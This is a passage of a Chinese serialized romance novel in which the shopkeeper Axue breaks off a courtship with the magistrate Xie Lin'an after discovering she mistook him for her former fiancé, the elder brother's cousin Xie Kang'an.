“阿雪,阿雪?愣着做什么,趁热喝汤,喝完了把这只鸡腿吃掉。”卢大富给她们娘俩一人一个鸡腿,他自己吃鸡头和鸡脖子。 天气热喝热汤更加燥,也不知道是汤汤水水太过滋补还是怎么回事,阿雪夜里流了鼻血。她没惊动爹娘,自己摸黑起来用凉水洗干净,又躺下接着睡了。 阿雪做梦了。 先是梦见卢石头被人欺负,说是他混迹江湖没混好,惹了一身麻烦,被仇家追杀。 阿雪急的不行,闭着眼睛的小娘子满头大汗。 在梦里她跟着那些人跑,想伺机救下石头,但她一个弱女子,甚至都追不上那些人,更别提救人了。 跑着跑着,看见前面有个人背对着她。阿雪喜上眉梢,高声喊:“郎君!” 谢临安转过头,阿雪却倒吸了口气。对方依旧是丰神俊朗的模样,可眼角留下两行血泪。 阿雪受惊后猛然醒来,汗打湿了里衣,她胡乱的擦了下额头的薄汗,心慌意乱起来。 所以当天松石来传话时,阿雪犹豫了一下拒绝。 “铺子忙不开,对了,郎君不是在追捕人吗?应当也很忙吧,我就不过去打扰了。” 松石道:“郎君请娘子过去,娘子不想去吗?” 这是什么蹩脚理由?糊弄鬼还差不多。 松石微怒。 “枉我们郎君费心费力的帮忙寻找令弟下落,原来娘子并不在意。” “石头有消息了?” 本朝国土辽阔,想要寻找一个人简直是大海捞针。谢临安手底下自然有可用之人,但都是珍贵的资源,却用来寻一个孩子,而且还有人不领情。 松石替他主子不值,说话语气也没那么和善,硬邦邦道:“娘子过去了便知。” 既然有弟弟的消息,阿雪自然应下。 早晨传的消息,阿雪黄昏时候才来。 站在门口磨磨蹭蹭,说不清心里是什么感受。 兴许是这些日子的风言风语让阿雪想起被退婚时候,也兴许“报仇计划”进行的不错,她一时无措不知如何是好,因此心底有点抵抗和他见面。 门开着一条缝隙,屋里桌后的谢临安余光瞥见投在门板上的身影,来来回回的踱步,浅杏色的裙摆飘来飘去。 “进来。”他倏地出声。 阿雪咳了咳,故作镇定的推门,露出一个脑袋。“在忙吗?那我一会再进来。” 小娘子拘谨的抓着门板,一双杏眸滴溜溜的转,好像如果谢临安不允许,她便不能进来似的。 可自打他们相识以来,她从来都不守规矩,想进就进想出就出,简直是胆大妄为。 现在倒是知礼守节了。 面容清隽的郎君放下手中的毛笔,将写好的字拿起来抖了几下,折叠好入信封。 “忙完了。” “哦。”阿雪低着脑袋进来,竟然没像之前那样往谢临安的身边凑,反而乖巧的落座在远处,眼巴巴的看着他。 莫名的有一瞬的疏离。 谢临安不喜欢这种感觉,索性身体靠在椅背上没有过去的意思,英挺的眉眼对上她的视线。 屋内安静下来,半响之后,阿雪按捺不住先开口道:“郎君,你知道石头的消息?” 想朝他打听事情还离的那么远,谢临安手指下意识的捻了捻,只淡淡的嗯了一声。 这边阿雪还在等他继续说,却不想他薄唇紧闭,没了下文。 “郎君?”阿雪起身,朝着书桌走过来。 她没看见谢临安低垂的唇角翘起一抹微弱的弧度。 “那支镖局来自京城,我已经派人和他们联系过,卢石头确实是去追押镖队伍,如今正和押镖队一起北下。” “那、那他什么时候回来?”阿雪揪着袖口,明显是紧张和担忧,“他可知道家里在找他?” “如果他愿意回来,我会派人一路护送,但卢石头并没有回家的意思,他说要出去闯荡,待押镖结束稳定下来会和家里通消息。” 找了这些天总算知道点消息,阿雪按捺不住绕过书桌,直接来到谢临安的身边。他端坐在那,竟然和微微垂头的阿雪差不多高。 “石头还好吗?他有没有被欺负,对了,那个镖局靠谱吗?他们愿意收留石头吗?” 太多的问题要问,一股脑的说了出来,然后就用一双水清透亮的眼睛看谢临安。手也不自觉的搭在他肩头上,身体弯曲,做出倾听的姿态。 她穿着去年的旧衣,今年大概身量长了一些,就像是面团被抻长,腰身收紧不少,因此弯腰时前襟便有些松垮,露出里面藕荷色的小衣。 谢临安快速的移开视线,伸手拉过一旁的椅子,“坐下说。” 阿雪也没发现他的小动作,落座之后也没看见他拉着她的手,赶忙问:“郎君,石头还说了什么?” “镖局的底细查的清楚,虽是个小镖局但经营了好几辈人,可靠可信。此次押镖的镖师正是少东家,有个和石头一般大的儿子所以心生怜悯,又见石头天赋异禀这才才肯收留。” “知道你们在担心石头,那位少东家还让人将这个转交给你们。” 说着,拿出一个旧布荷包,哗啦啦的响,一听便是银子。 阿雪打开一看,里面指甲大小的碎银子两块,还有许多铜板。 “对方说是石头押镖的报酬,石头一文没留,全都叫人带回来了,还说这趟镖走完之后他会跟着镖局去京城闯荡。” “京城那么远,他怎么就如此大胆敢跟着他们走。”阿雪嘴里是埋怨,却字字关切。“据说卖东西贵的吓人,石头分文没有该怎么过。” 阿雪眼圈渐渐泛红,抓着荷包的手指越收越近,指甲边缘处泛白。 谢临安捞过她的手,将她的两只手扣在自己的掌心。有了束缚之后空荡荡的心反而落了地,她低声道:“石头是在生家里的气吗?要不然为何不肯回来呢。” 心里乱糟糟的,阿雪用手指尖去按他的掌心,锋利的指甲留下一个又一个的痕迹,端茶进屋的松石脑子嗡的一声,作势就要喊停保护他们郎君。 但刚疾行几步,便见谢临安视线扫过来,不轻不重道:“茶放下。” 松石脚下急刹,茶壶里的热茶顺着茶壶嘴儿洒出来几滴,正好落在手背上。松石一声不吭,赶紧放下茶壶又倒好茶水,退出去关好房门。 “松石你干什么小心翼翼的?我看你脸色还有点差,临安训你了?” 也是巧了,刚出来就碰见赵友成他们过来。 松石赶忙解释:“郎君在会客而已。” “难道是抓到人了?我听说好像有眉目了。” 祸害百姓的恶人,人人得而诛之。赵友成格外关注这些案子,甚至还和谢临安说,如果有需要他大可以帮忙。 可惜,谢临安只淡淡回了句“大可不必”。 啧。 赵友成觉得他谢临安未免太瞧不起他了,所以想要证明自己,推门要进去。 “我也帮忙参谋参谋,我……” 赵友成动作快,松石要来拦的时候已经来不及,门口站着的赵家两兄弟身后还有个谢康安,他眸子紧缩,死死盯着房间里举止亲密的男女,脱口而出喊道: “你们在做什么?” 第55章 第55章 方才松石送茶时还带了两碟子茶点。 穷乡僻壤也没什么美味糕点,这些是从城里衙署带出来的,那厨子是侯夫人安排千里迢迢跟着谢临安上任,最是了解谢临安口味。 “这是什么?” 谢临安已经净过手,拿着一块手指节大小的糕点。白色呈长条形的糕点,表皮泛黄,洒了一层细薄的糖霜。他递过来,阿雪直接咬了一口,里面露出浆红色的馅料。 “是梅子?” 酸酸甜甜,应当是梅子无疑。 方才还担忧弟弟的小娘子被吃食堵住了嘴,总算不唉声叹气了。就着谢临安的手吃完剩下的半口糕点。 “喜欢吃?”谢临安问她。 阿雪咂咂嘴,回味无穷。 “没吃过的味道,感觉挺好吃的,是城里的糕点吗?我娘说城里富裕,吃穿住行都比我们这精致,果然如此。” 正在用帕子擦手的谢临安意味不明说了句:“那你想去城里生活吗?” “我长这么大,还真没去过几次城里,”阿雪实话实说,“城里是挺好的,但我家在这朋友在这,而且我的铺子也在着,所以觉得在镇子上生活也很不错。” 阿雪又拿了一块塞嘴里,谢临安侧过身子看她,循循诱之。“家人可以和你一起进城,离这里不远,骑马一天便也到了。” “这么快吗?我们上次坐驴车进城,走了整整四天四夜呢。” 糕点滋味不错,阿雪吃了一块又一块,咽下去之后,她脑子都转的快了,道:“可我还是不想去,城里的铺子那么贵,我怕是都租不起,而且我们在城里也没房子,到时候爹娘石头没地方住,反正我觉得现在挺好的,不想随意挪动。现在生意不大好,过些日子就会和以前一样,到时候……” 其实现在铺子生意不好日子不大好过,阿雪是个善于开导自己的小娘子,凡事都往好处想,觉得人只有向前看有盼头哦,日子才会越来越好。 谢临安眸子垂下,听着她高谈论阔诉说和家里人的未来,一派欣欣向荣,可没有他的影子。 心下有一瞬奇怪让人不舒服的感觉,谢临安喝了口茶水压下去。 “房子铺子都不用你担心,只要你告诉我,你想还是不想。” 阿雪坚定的摇头。 “我要和家人在一起的。” 屋里安静的针落可闻,阿雪手里的半块糕点也不敢吃了,觑着谢临安的脸色,觉得他今天怎么如此奇怪呢。 “郎君?”她身子倾斜往他身边凑,觉得可能是公事劳碌太辛苦了吧,他脸色都不好了。 刚吃过糕点,身上带了股甜腻的气味,漂亮的红唇饱满,像是熟透的樱桃,上头沾了渣滓,倒是有点像樱桃酪撒上糖霜。 谢临安眸色暗了暗,胸闷因为她的凑近有所缓解,但这还不够。 身量高大的郎君俯身过来,阿雪一愣,眼睁睁的看着他越来越近,嘴唇倏地碰触到一片柔软。 阿雪瞪大眼睛愣在原地。 有温柔的大掌覆在她眼睛上,阿雪下意识的闭眼,触感和嗅觉越发的灵敏。 糕点的甜香与茶水清香混合。 清甜味道竟也极具缠绵之意。 就在这时,房门突然被推开,有人喊道:“你们在做什么!” 阿雪回过神来去推谢临安,他似乎有点恼,重重咬了她一下,随后将脸红透了的小娘子揽在怀里,侧过头冷声道:“关门。” 松石赶紧将房门关上了,恼道:“赵郎君,您……唉!” 都怪他没看好门,这才被赵友成得了空子。 赵友成都懵了,他揉了揉眼睛又使劲掐自己一下,才确定不是做梦。“你们郎君下凡了?” 否则清心寡欲的谢大郎,怎么会和一个小娘子吻的忘情? “里面是谁?卢小娘子?” “您还是莫要猜测了,请。”松石赶忙做了个手势,将三个人请到了另外的房间。 赵友成越想越激动,“是卢娘子很正常,如果不是卢娘子,哈哈。” “卢娘子虽说年岁小,可性子坦直,不会饶了他。”赵友成想到兴奋处还拍掌,似乎期待看见谢临安吃瘪。 赵友玉无奈摇头:“阿兄,你消停些,莫要惹了谢世子不快。” 谢临安到了年岁有女人也正常,何况他们本就是收到侯府的消息,如今见此更加确定那封密信是谢临安亲自写下的,而不是别人代写亦或者被逼迫。 “我就是随口一说,认识多年,我最是了解他是什么人,即使没看见脸我也知道那人肯定是卢娘子。啧,没想到他谢临安也有跪倒石榴裙下的时候。” 赵友玉对阿雪不免好奇起来,便询问她的家世身份。 赵友成知道的不多,说了几句。没想到一直不吭声的谢康安插话:“她是后搬来的镇子。” 赵友成好奇:“你怎么知道?” 谢康安像是做贼心虚似的喝水,不肯说话了。 …… 另一边,阿雪被人看见做这种事情,恼羞成怒,窝在谢临安的怀里,一张脸热的要冒烟。 “你你你……” 你了半天说不出后面的话。 谢临安忽然又靠过来,阿雪以为他要亲她,便捂住了嘴巴。 鼻尖一热,他拂过她的面颊,手心里多了一点食物残渣,笑容玩味。 “你以为我要做什么?” 情到浓处想交吻乃是人之常情,谢临安看着她殷红的唇,想起来俩人俱是第一次,不免磕磕绊绊,过了会他才掌握诀窍,托着她后脖颈子,叫她仰头张嘴,吮着花瓣似的唇。 视线落在她唇上。 “不许再看我。” 阿雪一手捂住自己的嘴巴,另外一只手去捂住他的眼睛。 只剩下半张脸的俊俏郎君笑起来依旧丰神俊逸。 “都被别人看见了你还有心思笑!”阿雪越发的恼。 “看就看了,两情相悦的男女之间做这种事很正常。” 阿雪不同意:“才不正常,人家都是夫妻才……” 剩下的话说不出来,阿雪脸已经涨的如熟透的桃子。 这时候谢临安又轻笑,他伸手,将阿雪的两只手圈在自己手里,一双黑曜石的眸子盯着阿雪。 “订了婚便算是夫妻了。” 这话说的没头没脑,阿雪两只手被束缚,便用脑袋去顶他胸膛,颇有以头抢地之感。 “被他们看见了!” 等等,方才谢临安说什么? 才反应过来的阿雪缓缓抬起头,谢临安微微颔首,阿雪脑袋却是嗡的一声。 未、未婚夫妻? “已提前写信告知府里,待年末回京述职时便可敲定此事。” 见阿雪呆呆愣愣不说话,谢临安顿了顿,“觉得晚?你若是同意,也可提前办了,找人挑个合适日子即可。” “不是晚,是……”阿雪喃喃,只觉得脑子一片空白。 事情怎么就发展到了这一步? 不对,不对。 她是讨厌谢临安的。 讨厌他自作主张单方面退了婚,害的她被镇子里的百姓们嘲笑,害她娘被族里的人逼问。 一桩一件,都是支撑阿雪报仇计划的动力。 可现在目的达成,甚至他还要禀告家里求娶她,她为何没有觉得欣喜? 预想中小娘子羞涩答应的画面没有出现,谢临安眯了眯眼,开始回忆他哪句话说错了。 “郎君,其实我一直有些话想告诉你。” 阿雪说着,毫不留情的抽出手。 谢临安笑容微僵,阿雪却顾不了那么多,努力回忆报仇计划最后一部分。 “我觉得我们不合适。首先,你在城里我在镇上,离的太远,你又是县令总不能没事就跑来,而我守着铺子,去找你也不大可能。第二呢,我觉得很多习惯也不同,你不喜欢葱姜蒜,不喜欢五花肉,可这些都是我喜欢的,总吃清淡的口味我还不适应。还有啊,你会读书写字我不会,差距就出来了,会让人觉得不舒服。” 阿雪每说一条,谢临安的脸色就沉上一分,最后阴沉不定的看着她。 “所以?” “所以我们就此别过,桥归桥路归路。”阿雪一直低垂着脑袋不敢看他,说完起身,也不待谢临安说什么,她就朝着门口跑。 “再也不见。” 阿雪一口气跑出了客栈,生怕谢临安追出来,她还回头看了一眼。 没有任何人出来。 本该松口气的阿雪,却觉得有一瞬的寂寥,心里空荡荡的,好似胸膛上开了口子,夏风能吹过去,有呼啸的风声。 街道上人声鼎沸,路边小摊贩吆喝声此起彼伏,阿雪像是什么都听不见似的,脚步虚浮的走回了家,一头栽倒在床上。 “报仇了。”她喃喃。 “阿雪,正好你回来了,娘有事同你说,你可还记得有个林郎君,他啊……”听见动静的焦红杏进女儿房间,想告诉她有人来提亲了,但不想看见女儿双目通红,像是要哭的模样。 “阿雪,是不是在外面受委屈了?来,同娘说说。” “没有的事,谁会欺负我,就是黄昏时的小飞虫太多都飞进我眼睛里了。”像是为了确凿说辞,她还伸手去揉,越揉眼睛越红,还淌下两行清泪。 “行了,看你眼睛红,嘴巴怎么也像是被叮肿了似的,快点去洗把脸。” 阿雪做贼心虚的摸了摸唇,赶忙舀凉水洗把脸,总算觉得脸上的热度退了,否则一张脸又热又红,定会被焦红杏看出来问题。 晚上时候,卢大富做了点小菜,他喜欢喝酒,每天晚上都会来上一碗。都是不值钱的烧刀子酒,烈且辣,每次卢大富喝完都要嘶哈一声,夹上一筷子自己做的小菜,像是能忘却烦恼似的。 卢石头离家出走之后,卢大富每晚会喝两碗,喝完倒头就睡,翌日起来继续闷不出声的干活。阿雪知道他心里难受,这是他麻痹自己的方式。 “爹,我陪你喝。”阿雪给自己倒了半碗。 焦红杏要阻止,卢大富抬手示意她莫要说话。他们姐弟俩感情好,阿雪肯定是担心石头难受了。 卢大富道:“先吃口饭垫垫肚子,对,再夹口菜。” 阿雪照做,咽下去之后,她双手捧着酒碗,神情坚毅,仰起头直接往嘴里灌。哪里想到这酒入口之后辣的人难受,咳嗽的阿雪赶忙放下碗,扶着桌子弯腰大口咳。 “你这孩子,慢点喝啊,你没看爹都是一口一口喝的。”卢大富拍女儿的后背给她顺气,过了片刻阿雪总算不咳了,开始小口喝。 但这东西当真不好喝,入口后从喉咙开始像是着了火似的一路烧到肚子里。 “爹,好辣。” 说完砰的一声,直接醉倒在桌上。 卢大富哈哈大笑,焦红杏难得使了脾气打他胳膊,“愣着干什么,赶紧背孩子进屋。” 一夜无梦。 翌日阿雪醒来天色还早,她伸了个懒腰,昨日阴郁的情绪一扫而空。 “真是无债一身轻啊。” 和谢临安说清楚,阿雪便也不用再演戏骗人了,他们之间两清。 洗漱换衣,阿雪踩着星光往铺子走去,街道两边有燃了一夜的灯笼,照亮阿雪的必经之路。 她这边刚打开铺子的门锁,便听到一阵细碎的脚步声,回过头,便见十几个捕头整整齐齐的围着她。 像是一群猎手要捕猎。 第56章 第56章 百姓怕官,阿雪自然也是怕的。 天色昏暗,围拢她的捕快们各个面无表情,好像她是什么十恶不赦的坏人,要被他们抓走。 正当阿雪要说话时候,人群里走出那个被她抛弃的郎君。 昨日她挑三拣四的说些他的毛病,他没追出来,阿雪想的是俩人之间一笔勾销算了。此刻他面色沉沉的模样,难道是要秋后算账吗? 谢临安上前一步,阿雪便后退一步,最后退无可退,后背抵在冰凉的门板上。 阿雪有点不敢看他的眼睛,盯着他墨色衣角声如蚊讷。“我昨日应该说清楚了吧?” “说什么?”他欺身过来,似笑非笑道:“随随便便说几句便要分开?天底下没有这样的道理。” 阿雪听的心惊,什么意思?他不想分开?这可不行,阿雪觉得他们两清了,便不想有牵扯,此刻心焦之下,她甚至忘了昨天心里酸痛的感觉,直言直语道:“说了桥归桥路归路,我可是说话算话的。” 谢临安扬了扬眉梢,“你看着我说。” 阿雪不敢。 “反正、反正就是这样了,不知道你派人围我的铺子是什么意思,我犯了什么法?” 国有国法,家有家规,阿雪不觉得自己有什么错,因此越说越理直气壮。 头顶上传来男人的一声轻嗤。 “玩弄人心,始乱终弃——娘子当真好手段。”他说话声音和往常有很大区别,明明是温润如玉的郎君,平日里说话慢条斯理让人觉得悦耳,但这么会阿雪却听出了讽刺的意味。 那个温柔的谢家郎君怎么变了个人似的? 阿雪情急之下连忙道:“四郎,我们缘分已尽。” “四郎……”谢临安念着这两个字,眼神越发犀利,动作粗鲁的抬起她的下巴,“看好了,我是谢家大郎。” 脑子嗡的一声,阿雪没反应过来。 大郎?什么大郎?谢临安明明是被寻回去的四郎啊。 小娘子脸色煞白眼神呆滞。 是了,怪不得他们长的像。 怪不得她一直没听他亲口承认过他就是四郎,更荒谬的是,她光看长相和手上的痣,便将对方错认为未婚夫,甚至对他百般撩拨,最后将人狠狠抛弃。 原来被她玩弄的自始至终都是谢家大郎,那个传闻中的天之骄子,她未婚夫的阿兄。 “错了,都错了。”她眼神呆滞直楞楞的看着虚空。 谢临安转过她的脸,让其直视自己,察觉出她的分心,他手指收拢,娇嫩凝白的皮肤上留下一道指痕,他掐着她的下巴。 “你说我该不该叫人围你铺子?” 认识谢临安这么久,这是他第一次露出这样的神情。年轻的郎君明明唇角含笑,可眼神里一片漠然。 阿雪脑子如一团乱麻,不知如何是好,只能道歉。 “对不起。” 事到如今,说什么都于事无补。“你把我抓进牢房吧,我们之间就算两清,互不相欠。” 谢临安看着小娘子漂亮的嘴唇。 如花蜜般甜却吐出冰冷的话。 谢临安扯起唇角笑了笑,松开手,像是嫌弃似的抽出帕子擦拭方才与阿雪碰触过的手指。 身后拎着东西的松石犹豫不决,要不要上前啊?准备的礼物要不要给卢娘子?他觑了一眼自家郎君的脸色,决定按兵不动。 谢临安擦拭干净后,像是嫌弃一般,随手将帕子扔在了地上,声音冰冷道:“抓人。” 一声令下,这些捕快们当即迅速靠拢过来,阿雪还是第一次碰见这种场面,无助的靠在那,眼睛变得湿漉漉。 进牢房就进吧,反正说来说去,是她欠他的。可阿雪鼻子红彤彤的,眼睛有点发酸,不知道为什么,心里也有一股酸涩的感觉,好像刘二丫家卖的酸梅粉洒在了心口上。 就在她以为要被他们抓走的时候,王捕头推开阿雪。“卢娘子莫要打扰我们办公事。” 然后阿雪就看见他们从她铺子杂物间里揪出来一个人,还是一个眼熟之人。对方皮肤黝黑形容憔悴,直接被王捕头捂了嘴带走,等阿雪反应过来时,那些人如潮水般很快褪去,就连谢临安也不见踪影了。 …… 阿雪恍恍惚惚,周碧玉都发现不对劲了。 “阿雪,你没放水。” 两只手在大盆里揉了半响,结果一滴水没有,白揉。 阿雪不好意思的笑笑。“忘了。” 阿雪的面食卖的好当然是因为食材好东西美味,比如和面用的就是凉开水,这样蒸的面食更加暄软。 她拿起一旁的葫芦瓢便要往盆里倒,周碧玉赶忙过来拦住。“哎哎,我的好阿雪,这是热水啊。” 倒下去手非得烫熟了不可。 “是不是身体不舒服啊,我来吧,你坐一边休息。” 周碧玉做事干活认真,阿雪也乐得教她,因此基本功都会了,和面不成问题。阿雪点头,去水盆里净了手,坐在一边帮忙烧火。 火焰跳动,阿雪愣愣的盯着,又想起晨间的谢临安了。 都怪她做事莽撞,光看面相觉得和小时候长的像,又听说出自京城侯府,便误会他是未婚夫,酿成如此错事。 想必,他恨极了自己吧。 “阿雪,阿雪?”周碧玉叫了她好几声,“我看你脸色不好,要不要喝点水?” “碧玉姐,我没事,”阿雪随手扔了木柴进灶膛,“你说,一个人做错事,该怎么补救?” 周碧玉年长阿雪几岁,又经历过不少风雨,因此在她看来,阿雪烦恼的事情大概就是一些小事情。 “道歉,尽力去弥补。”周碧玉给出自己的见解,“不管对方接不接受,尽管去做,起码你心里好受一些。” “是吗?”阿雪喃喃,还是有点迷茫。 她误将外人当作前未婚夫报复了,该怎么补救? 脑子混乱,一上午都心神不定。晌午时候客人多忙碌起来,阿雪还装错了包子,对方要全素馅,阿雪混了一个肉馅。肉馅比素馅卖的贵,按理来说是买家得了便宜,但谁料今日是十五,正是吃斋念佛的日子,那人恰好信佛,回到家后咬了一口发现是肉馅,直接闹到阿雪的铺子。 阿雪连忙道歉说返还他卖包子的钱,但客人不依不饶。“那是对佛祖对神明的亵渎!你担当的起这个责任吗?” 嘴里说着不好听的话,那人摆明了就想多要钱,围观的人也越来越多,周碧玉觉得多一事不如少一事,想劝阿雪给钱算了。刚碰到阿雪的胳膊,便见她垂着眸子,眼泪扑簌簌的往下掉。 “人家卢娘子都把钱赔给你了,还道了歉,瞧瞧,非得欺负一个小娘子,都给人欺负哭了。” 附近和阿雪交好的人仗义执言,说话的便是卖饮子的刘二丫。“再说,说不定是你自己心不诚,肉馅那么香,怎么可能吃不出来?而且卢娘子家的肉馅是麦穗褶,一打眼就能看出来。我说,你莫不是故意过来讹钱的吧?” 人性就是这样复杂,之前一直对阿雪指指点点小声蛐蛐,现在见她被欺负,也会挺身而出帮忙说话。 四周邻里你一嘴我一言,那人见吵不过,索性拿着钱跑了,不过临走前放话这件事还没完。 阿雪压根就没听见,捂着脸站在铺子门口哭。 周碧玉急死了。“阿雪,你怎么了和我说,是肚子疼还是哪里难受?走走,我带你去看大夫。” “我没事。”阿雪哭了一会,心中的憋闷散去,抹了把脸道埋头继续干活。 她不说,周碧玉也没什么办法,不过时刻留意阿雪的动静。小娘子默不作声的干活,如果不是眼圈还红着,仿若方才哭的人不是她。 才十几岁的年纪,哭的梨花带雨,周碧玉心软的一塌糊涂,打算一会客人少了问问情况,好好开解她。 “客人,您需要什么?” 这时候有个面容清秀的郎君上门,穿着打扮不俗,周碧玉望过去,还隐隐觉得对方有点眼熟,但她确定自己不认识这个人。 “我想同卢娘子说几句话。” 听见自己名字,阿雪抬头,看清楚那人的脸后,阿雪愣住。 “多年不见,莫不是忘了我?”那人走了进来,挺直腰板步伐稳健,笑着站在阿雪面前。 他背对着光亮,阿雪恍惚之间,以为是谢临安来了。 但对方比谢临安矮了半头,即使风度气质有三分像,也绝对不是谢临安。离得近了,阿雪能看清对方的长相,暗叹道,怪不得我认错,果然是像的。 只不过多年不见,这人眉眼没有小时候那般精致了,对比谢临安更是差上不少,俩人唯一相同的地方,大抵就是身上的墨色长袍。 阿雪打量他的时候,谢康安也在打量阿雪。 之前远远的看过几次,知道她如今出落的越发貌美,可靠近了之后才知道岂止是好看,简直是天生尤物。 眼圈泛红,额上贴着打湿的碎发,楚楚动人,我见犹怜。 谢康安愣了愣,心底生出一股懊悔。 早知道就不让他娘退婚,索性抬回家,当个暖床的也成。 “是你啊。”阿雪瞪着他。 谢康安觉得莫名其妙。 她怎么好像厌烦他?为什么? 第57章 第57章 都知道谢临安和阿雪起了嫌隙,但谁也不知道为什么。 哪怕是松石,也一问三不知。 “作为贴身侍候之人,怎么连这都不知道?” 赵友成发现谢临安不太对劲,虽然还是玉面郎君风度翩翩的模样,但显然脸色阴沉,靠近都觉得起鸡皮疙瘩。 询问松石,得知是和卢娘子有关,但具体为何,却是丈二和尚摸不着头脑。 房门紧闭,但松石还是压低了声音道:“只知道卢娘子昨天突然离开,然后郎君当时没说什么,半夜却拿着一长串礼单子,叫我好生准备。东西太多一时备不全,只挑了几样现成的,结果今早又原样拿回来了。” 半夜时候房门被敲响,听见谢临安的声音吓的松石一个激灵,因为侍候郎君多年,夜里从不会使唤人。松石觉得一定是发生什么大事,因此顾不上穿鞋跑着去开门,却迎面看见长长的礼单。 “准备好,明日送去。” 当时夜色太黑,松石没瞧清他们郎君的脸色,但声音略沙哑,估计是一直没休息光写礼单了。 可今日一早他跟着郎君去找卢娘子,俩人也不知道说了什么,郎君面色大变,那些东西也原模原样的带了回来。 “临安可有其他异常?” 松石立刻回答:“有的,郎君传了影卫去查事。” 侯府世子出身,又千里迢迢赴任,表面上只带了松石和几个侍女,但实际上暗地里有影卫保护,当然,他们行踪诡秘,连松石都不知道他们在哪,只有谢临安能将其召唤出来并驱使。 “动用影卫了,看来不是小事。”赵友成摸着下巴,总觉得事情不简单。 与此同时,谢临安的房里。 “所以,她当真和四郎定过亲?” 影卫低垂着脑袋汇报:“不出郎君所料,确实定过,这件事就算侯府也没几个人知道。” 当时阿雪喊四郎,谢临安便察觉出不对,索性叫人探查一番,才得知她和谢康安是青梅竹马的关系,甚至定过娃娃亲。 不过后来谢康安进了侯府,他娘派人将婚约解除了。 聪慧如谢临安,很快想明白前因后果,他笑了一声。 影卫觉得奇怪,悄悄抬眼看他的主子,却见他依旧在笑,甚至不能自已。 笑罢,谢临安继续问:“还有其他的吗?” 影卫毫不犹豫道:“禀郎君,回来时候见到谢康安在和卢娘子叙话。” 谢临安嗤笑:“哦?说了什么?” 凭借影卫的能力,自然可以将他们的谈话收入耳中。 当时谢康安觉得铺子里有人说话不方便,想请阿雪移步附近的茶楼。但阿雪毫不留情:“凭什么你要我做什么我就做什么?” 谢康安一噎。 好一个伶牙俐齿的小娘子,外表美则美矣,但着实没有素养内涵。如果是京城世家的娘子,断然不会如此无礼,说话婉转让人舒服。 谢康安此行另有目的,没和她计较,道:“许久不见,想和你叙叙旧。这样,去后门人少处如何?” 虽然只是二房的郎君,但谢康安样貌不错又学识渊博,因此示好的娘子不在少处,若同小娘子如此温声细语的说话,对方定然会红着脸娇羞说好。 谢康安约过不少娘子,都是用此法子,孤男寡女的相处在一起,总会生起别样的情愫。 当然了,谢康安不是来钓她的,就是想和她说几句。 “不去,有话就说,不说就走。”阿雪丝毫不客气。 本来她就因为认错人的事情不高兴,见到正主,更气不打一处来。 “你叫什么?” 谢康安:“你既认出我,又怎么忘了我姓名?” 和谢临安在一起时候阿雪娇憨直率,现在却只剩下暴躁。 “让你说你就说。” “谢康安。” “怪不得。”阿雪咕哝。 谢康安觉得她有点不可理喻。 “走吧。”冷不防阿雪这样说。 谢康安差点没反应过来,那边阿雪已经率先开门去了后院。谢康安紧随而至,俩人站在后院里的谈话,全部被蹲在墙后的影卫听清楚。 因此影卫如实汇报:“谢康安向卢娘子解释退婚非他本意,请卢娘子莫要怪罪,还说不可迁怒于其他人身上。” “呵。” 谢临安懒散的靠在椅背,淡声道:“谁是其他人? 这话自然不是问影卫的。 “继续。” “是。”影卫攥了攥手心里的汗继续道:“他说希望卢娘子能追求自己的幸福,还说郎君是最好的选择,鼓励卢娘子和郎君重归于好。” 谢临安和阿雪闹别扭的事情谢康安自然也知道,所以才有了这一遭。但他不够老练,心思摆在明面上,谢临安对他的想法清清楚楚。 “出去吧。” “是。” 影卫来无影去无踪,跳窗户走的时候松石进来送茶,只感觉有一阵风吹过。 “郎君,赵郎君在外面。” 谢临安喝了一口茶水,不待说话,那边赵友成已经大大咧咧的进屋了。 “吵架了?” 谢临安不说话。 他不说赵友成便也不问了,反正谢临安给家里递了消息说是要求娶卢娘子,既然没说取消,那便是男女之间正常的打闹,达不到取消婚事的地步。 这么说也不算妥当,毕竟侯府侯夫人一万个不愿意,断断不可能同意这桩婚事,否则也不会让他们折返回来看着谢临安。 “都说女人心海底针,我看呐,临安你的心也如海底针,叫人琢磨不透啊。” …… 和阿雪聊过之后,谢康安敏锐的察觉到阿雪和他那位堂兄之间,出现了什么不可弥补的矛盾。 谢康安找松石旁敲侧打听,可惜一无所获。 但值得庆幸的是,他堂兄并未往京城传消息,也就是说,他依旧坚定要娶阿雪。 好,好的很。 对于谢临安,他是又嫉有妒,如果谢临安能和阿雪在一起,那可当真是白玉有瑕。 谢康安非常乐意看见这种场面,所以才动了去劝阿雪的心思,还将谢临安的身份以及在京城的地位诉说清楚,如愿在阿雪脸上看到震惊。 按照谢康安的推测,阿雪不可能放弃谢临安这根大腿,定然会抱的紧紧的,一想到这,谢康安有种莫名的爽感。 他不要的东西,被天之骄子谢临安当作宝贝……太大快人心了! 就是最近他们之间不知道怎么了,谢康安琢磨着,有必要推进俩人的关系,最好是生米煮成熟饭,到时候谢临安想赖都赖不掉。 第58章 第58章 窗台上摆放两盆开的正盛的牡丹花。 层层叠叠,碗口大小,娇艳欲滴。 如此名贵的品种,自然不是小地方所拥有的,京城贵人多喜欢牡丹,象征着富贵和权势。 这两盆乃是之前京城派人送来,在城里衙署有专人侍候,这次来东山县,松石特意抱来给谢临安解闷用的。 谢临安坐在床边,形状漂亮的眼睛看似落在花上,其心神早已不知道飞到哪里去了。 屋里松石安静的垂手而立,琢磨着主子到底怎么了。 吵架了应当是事实,他们郎君还备礼看样子是准备道歉。 那么问题来了,究竟怪谁? 责任在他们郎君的话,为何礼物没送出去? 如果过错方在卢娘子,为何她不曾来过? 松石不懂男女之间的情爱,所以搞不明白,脑子一团浆糊,怎么也想不通。 “咔嚓”一声响。 松石定眼一看,一朵繁茂的牡丹花被谢临安折了下来,放在手心里把玩。年轻郎君手指修长漂亮,与那朵花儿相得益彰。 牡丹花是名贵的,他们郎君则如同这朵花一般活的骄傲肆意。 侍候谢临安多年,松石了解他的性子,本就是天之骄子,享受得天独厚的一切,集万千宠爱于一身,松石从未见过他们郎君如此落寞的背影。 或许,郎君有其傲骨,不允许他弯腰低头向卢娘子认错吧。想到这,松石想起一桩陈年旧事。 那还是多年前,侯府里的孩子们还都是少年少女。每年侯府的祭祖活动都是头等大事,府里上上下下都在忙碌,孩子们甚少捣乱,不过那年,侯府祭祀用的寿桃被人咬了几口。 如此大逆不道的事情,让老夫人大发雷霆,说找到罪魁祸首要动用家法。后来查来查去,不知道怎么就查到了他们郎君身上。 大家自然是不信的,可证据指向谢临安,只有他来过那间房。 